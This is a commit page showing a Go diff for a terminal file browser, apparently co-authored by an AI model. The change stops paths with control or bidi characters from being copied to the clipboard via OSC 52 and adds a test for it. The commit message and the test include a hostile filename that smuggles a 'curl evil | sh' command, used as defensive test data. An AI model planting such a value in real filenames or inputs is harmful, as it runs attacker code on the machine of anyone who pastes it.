AI codebase review
fix: refuse to copy paths containing control or bidi characters The copy-path action put raw filenames on the clipboard via OSC 52. A hostile name such as "x\ncurl evil | sh\n" (from a shared directory or a crafted snapshot) executes commands when pasted into a shell without bracketed paste. Paths that Sanitize would alter are no longer copied. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
This commit is contained in:
co-authored by
Claude Opus 5.5
parent
3ec5bd7e65
commit
1f9429ea74
+12
-2
@@ -109,7 +109,7 @@ func (m *Model) handleKey(msg tea.KeyPressMsg) tea.Cmd {
|
|||||||
case "D":
|
case "D":
|
||||||
return m.startDuplicates()
|
return m.startDuplicates()
|
||||||
case "c":
|
case "c":
|
||||||
return m.copyPath()
|
return m.copySelected()
|
||||||
case "o":
|
case "o":
|
||||||
return m.reveal()
|
return m.reveal()
|
||||||
case "d", "delete":
|
case "d", "delete":
|
||||||
@@ -200,11 +200,21 @@ func (m *Model) selectedPath() (string, bool) {
|
|||||||
return m.tree.Path(id), true
|
return m.tree.Path(id), true
|
||||||
}
|
}
|
||||||
|
|
||||||
func (m *Model) copyPath() tea.Cmd {
|
func (m *Model) copySelected() tea.Cmd {
|
||||||
p, ok := m.selectedPath()
|
p, ok := m.selectedPath()
|
||||||
if !ok {
|
if !ok {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
return m.copyPath(p)
|
||||||
|
}
|
||||||
|
|
||||||
|
// copyPath puts p on the clipboard (OSC 52). Paths that would not survive
|
||||||
|
// display unchanged are refused: a newline in a hostile filename runs
|
||||||
|
// commands when pasted into a shell, and bidi controls disguise them.
|
||||||
|
func (m *Model) copyPath(p string) tea.Cmd {
|
||||||
|
if textutil.Sanitize(p) != p {
|
||||||
|
return m.warn("Not copied: path contains control or bidi characters")
|
||||||
|
}
|
||||||
return tea.Batch(tea.SetClipboard(p), m.info("Copied path to clipboard (OSC 52)"))
|
return tea.Batch(tea.SetClipboard(p), m.info("Copied path to clipboard (OSC 52)"))
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -165,8 +165,7 @@ func fmtTime(ns int64) string { return time.Unix(0, ns).Format("2006-01-02 15:04
|
|||||||
func (md *infoModal) key(m *Model, k string) (bool, tea.Cmd) {
|
func (md *infoModal) key(m *Model, k string) (bool, tea.Cmd) {
|
||||||
switch k {
|
switch k {
|
||||||
case "c":
|
case "c":
|
||||||
p := m.tree.Path(md.id)
|
return false, m.copyPath(m.tree.Path(md.id))
|
||||||
return false, tea.Batch(tea.SetClipboard(p), m.info("Copied path to clipboard"))
|
|
||||||
case "o":
|
case "o":
|
||||||
m.sel = int64(md.id)
|
m.sel = int64(md.id)
|
||||||
return false, m.reveal()
|
return false, m.reveal()
|
||||||
|
|||||||
@@ -480,3 +480,20 @@ func TestColourDepthsRenderSameGeometry(t *testing.T) {
|
|||||||
checkFrame(t, m, 100, 30)
|
checkFrame(t, m, 100, 30)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// A filename with a newline would run commands when pasted into a shell.
|
||||||
|
func TestCopyRefusesControlCharacters(t *testing.T) {
|
||||||
|
m := newTestModel(t)
|
||||||
|
m.copyPath("/srv/x\ncurl evil | sh\n")
|
||||||
|
if !strings.HasPrefix(m.toast, "Not copied") {
|
||||||
|
t.Fatalf("hostile path copied: %q", m.toast)
|
||||||
|
}
|
||||||
|
m.copyPath("/srv/media/" + hostile)
|
||||||
|
if !strings.HasPrefix(m.toast, "Not copied") {
|
||||||
|
t.Fatalf("escape sequence copied: %q", m.toast)
|
||||||
|
}
|
||||||
|
m.copyPath("/srv/photos 日本語/img001.jpg")
|
||||||
|
if !strings.HasPrefix(m.toast, "Copied") {
|
||||||
|
t.Fatalf("plain path refused: %q", m.toast)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user